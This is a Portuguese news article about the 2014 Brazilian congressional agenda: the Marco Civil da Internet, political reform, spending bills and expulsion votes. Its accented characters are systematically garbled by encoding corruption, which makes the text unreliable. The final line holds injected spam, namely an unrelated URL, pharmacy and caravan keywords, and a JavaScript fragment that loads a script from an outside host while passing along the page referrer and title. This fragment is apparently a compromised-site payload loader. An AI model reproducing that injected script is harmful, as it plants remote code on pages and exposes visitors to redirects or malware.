Deputados e senadores voltam aos trabalhos nesta segunda-feira de olho no projeto de reeleiAi??A?o. Nem mesmo as pautas que levaram milhares de pessoas Ai??s ruas em 2013 devem sair do papel
Depois de um recesso de 45 dias, deputados e senadores retomam o trabalho nesta segunda-feira para iniciar um ano legislativo que serA? curto ai??i?? e pode terminar improdutivo. Com os olhos voltados para a campanha eleitoral, os parlamentares tradicionalmente concentram esforAi??os em suas bases estaduais. E, neste ano, a atuaAi??A?o legislativa serA? ainda menor por causa da Copa do Mundo, em junho.
No segundo semestre, os congressistas sA? costumam ir a BrasAi??lia se for convocado o chamado ai???esforAi??o concentradoai???, quando sA?o agendadas sessAi??es para votar temas importantes ou urgentes. O salA?rio de 26.700 reais mensais, porAi??m, estA? garantido.
Ainda que a perspectiva seja de um Congresso esvaziado, a presidente Dilma Rousseff tem pela frente um campo minado: enquanto alguns projetos tratados como prioritA?rios pelo governo podem motivar batalhas em plenA?rio, a oposiAi??A?o se organiza para pautar matAi??rias que aumentam os gastos pA?blicos.
Para acalmar os A?nimos, o ministro da EducaAi??A?o, Aloizio Mercadante, foi realocado na Casa Civil ai??i?? tomarA? posse nesta segunda-feira. Com passagens pela CA?mara e pelo Senado, o novo homem forte do governo vai assumir a interlocuAi??A?o com o Congresso Nacional, funAi??A?o que a articuladora polAi??tica do governo, ministra Ideli Salvatti (RelaAi??Ai??es Institucionais) nunca conseguiu exercer com desenvoltura. Com Mercadante no comando, o governo espera manter a base pacificada.
Fogo amigo ai??i?? A temperatura da relaAi??A?o entre os aliados vai ser medida jA? nas primeiras votaAi??Ai??es do ano. A nova regulaAi??A?o da internet brasileira, patrocinada por Dilma apA?s as denA?ncias de espionagem dos Estados Unidos, esbarra na insatisfaAi??A?o do PMDB ai??i?? o maior aliado do governo petista. Dois pontos do Marco Civil da Internet sA?o motivo de embate: a neutralidade da rede ai??i?? que determina que as operadoras nA?o podem diferenciar os dados da navegaAi??A?o, como disponibilizar velocidades diferentes para cada serviAi??o ai??i?? e a previsA?o de obrigar as empresas estrangeiras de instalar data centers no paAi??s, de forma a armazenar os dados em terras brasileiras.
As propostas foram desenhadas pelo governo Dilma e consolidadas pelo relator, o deputado Alessandro Molon (PT-RJ), mas nA?o avanAi??am principalmente por causa do lAi??der do PMDB na CA?mara, deputado Eduardo Cunha (RJ), que foi presidente da Telerj (antiga operadora do Sistema TelebrA?s) e desempenha o papel de interlocutor do setor no Congresso.Ai?? ai???Ainda nA?o tem acordo no mAi??rito. Se continuar assim, uma das hipA?teses pode ser derrubar o projeto e apresentA?-lo de novo, sem a urgA?nciaai???, explica Cunha. Por causa da urgA?ncia imposta por Dilma, o Marco Civil tranca a pauta desde outubro e impossibilita a votaAi??A?o de projetos de lei. Se a proposta de Cunha for adotada, a votaAi??A?o voltarA? a ficar com a data indefinida.
Petistas e peemedebistas tambAi??m estA?o em lados opostos na reforma polAi??tica. Uma das bandeiras do presidente da CA?mara Henrique Alves (PMDB-RN), a reformulaAi??A?o do sistema polAi??tico proposta nA?o contempla pontos defendidos pelo PT, como a realizaAi??A?o de plebiscito. ai???NA?o vejo a A?nica possibilidade de fazer plebiscito em ano eleitoral. Aquilo que vem sendo discutido de reforma polAi??tica Ai?? bastante mais restrito que a reforma que muitos partidos defendem. Agora Ai?? cedo para dizer se Ai?? possAi??vel ou impossAi??vel, mas Ai?? difAi??cil [votar]ai???, disse Arlindo Chinaglia (PT-SP), lAi??der do governo. Alves, no entanto, quer cumprir o compromisso feito em rede nacional no final do ano de que a reforma polAi??tica, tema que patina no Congresso hA? uma dAi??cada, agora vai sair do papel. Mesmo se aprovadas, as novas regras nA?o valerA?o para o pleito de outubro.
Apesar do cenA?rio aparentemente conturbado, dificilmente PMDB e PT entrarA?o em rota colisA?o em ano eleitoral e colocarA?o em risco as alianAi??as estaduais. O presidente do PMDB resume: ai???NA?o tem que se falar em pauta-bomba. Ai?? um ano que o Brasil precisa melhorar a economia, nA?o temos tempo para brincadeira nem para nenhuma maldadeai???, afirmou o senador Valdir Raupp (RO). ai???Essas atitudes poderiam colocar em risco as alianAi??as estaduais e temos de centrar esforAi??os nelas. Vai ser um ano com mais foco nas eleiAi??Ai??es.ai???
Dilma ainda estuda outra estratAi??gia para garantir um PMDB fiel: acomodar o partido no comando de mais um ministAi??rio ai??i?? hoje a legenda estA? Ai?? frente de cinco pastas. Os peemedebistas pleiteiam a Secretaria de Portos ou a pasta da IntegraAi??A?o Nacional. A reforma ministerial comeAi??ou na A?ltima semana e deve ser concluAi??da atAi?? o final de fevereiro.
Gastos ai??i?? Ao Congresso, o principal apelo da presidente Dilma Ai?? para evitar a votaAi??A?o de matAi??rias que possam desequilibrar os cofres pA?blicos. Rondam a pauta projetos que aumentam o piso salarial de policiais, bombeiros e agentes comunitA?rios de saA?de, mas o recado da presidente Ai?? para nA?o permitir a votaAi??A?o. Mesmo com a inflaAi??A?o nas alturas, Dilma quer mostrar aos eleitores e ao empresariado que as contas estA?o sob controle.
Enquanto contAi??m os gastos internos, o governo tem sido generoso com paAi??ses vizinhos. ApA?s ter inaugurado o porto de Cuba, construAi??do com financiamento bilionA?rio do BNDES, o Planalto tenta aprovar medida provisA?ria que libera 60 milhAi??es de reais do orAi??amento para serem investidos na BolAi??via. O recurso serA? usado pelo MinistAi??rio de Minas e Energia para contratar, sem licitaAi??A?o, empresa para restaurar equipamentos de geraAi??A?o de energia elAi??trica e cedA?-los ao governo de Evo Morales.
ai???Essa Ai?? mais uma contradiAi??A?o do governo”, criticou o lAi??der do PSB, deputado Beto Albuquerque (RS). O parlamentar promete unir esforAi??os para aprovar o projeto que melhora a remuneraAi??A?o dos agentes de saA?de. “NA?o podemos esquecer do barulho grande que fizeram para aprovar o Mais MAi??dicos e agora nA?o querem nem pagar 900 reais para o agente de saA?de, que Ai?? parte integrante da saA?de. Vamos tentar votarai???, disse Albuquerque.
TambAi??m deve ser retomada a votaAi??A?o do novo CA?digo de Processo Civil (CPC). O texto principal jA? foi aprovado, mas o governo trabalha para barrar a inclusA?o de dispositivo que determina que os honorA?rios de sucumbA?ncia ai??i?? dinheiro pago pela parte perdedora da aAi??A?o ai??i?? sejam destinados aos advogados pA?blicos. Atualmente, os recursos sA?o injetados nos cofres do Tesouro. Durante sessA?o no fim do ano passado, o lAi??der do governo na CA?mara, Arlindo Chinaglia, conseguiu evitar a votaAi??A?o e pediu o adiamento da anA?lise do caso. O direito aos honorA?rios, no entanto, Ai?? alvo de forte lobby dos juristas, o que pode fazer com que os deputados ligados Ai?? categoria pressionem pela aprovaAi??A?o.
Diante de um prazo curto, muitos projetos alardeados em 2013, inclusive os que atendiam as reivindicaAi??Ai??es de junho, devem voltar para a gaveta. A proposta que aumenta as puniAi??Ai??es para os casos de corrupAi??A?o, tornando-os crimes hediondos, por exemplo, foi aprovada no Senado logo depois das manifestaAi??Ai??es, mas nA?o foi pautada pelos deputados. Da mesma forma, o Plano Nacional de EducaAi??A?o (PNE) aguarda anA?lise da CA?mara, mas dificilmente serA? concluAi??do nos prA?ximos meses. Outros temas de interesse da populaAi??A?o devem ficar escanteados, como o novo CA?digo Penal, a criminalizaAi??A?o dos maus-tratos a animais e a nA?o-autorizaAi??A?o para a publicaAi??A?o de biografias.
CassaAi??Ai??es ai??i?? Mas os parlamentares jA? planejam limpar a imagem negativa da Casa. O primeiro ato serA? investido na nova tentativa de cassaAi??A?o de Natan Donadon (RO) ai??i?? o primeiro deputado presidiA?rio graAi??as ao aval da CA?mara dos Deputados. Para mudar o roteiro, deputados devem cassA?-lo, em sessA?o com o voto aberto, ainda em fevereiro.
A perda do mandato do petista JoA?o Paulo Cunha ai??i?? o A?nico deputado condenado no mensalA?o que ainda compAi??e os quadros da Casa ai??i?? tambAi??m promete agitar a CA?mara. A decisA?o sobre a abertura de processo de cassaAi??A?o ainda depende do aval da Mesa Diretora e a expectativa Ai?? que aliados do mensaleiro recorram a diversas manobras para evitar ou protelar o encaminhamento da aAi??A?o ai??i?? a mesma estratAi??gia usada para barrar o processo contra o ex-deputado JosAi?? Genoino. http://www.ghlpropertyfinder.com/?p=13802used caravans sale victoria trading post s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; cheap luvox
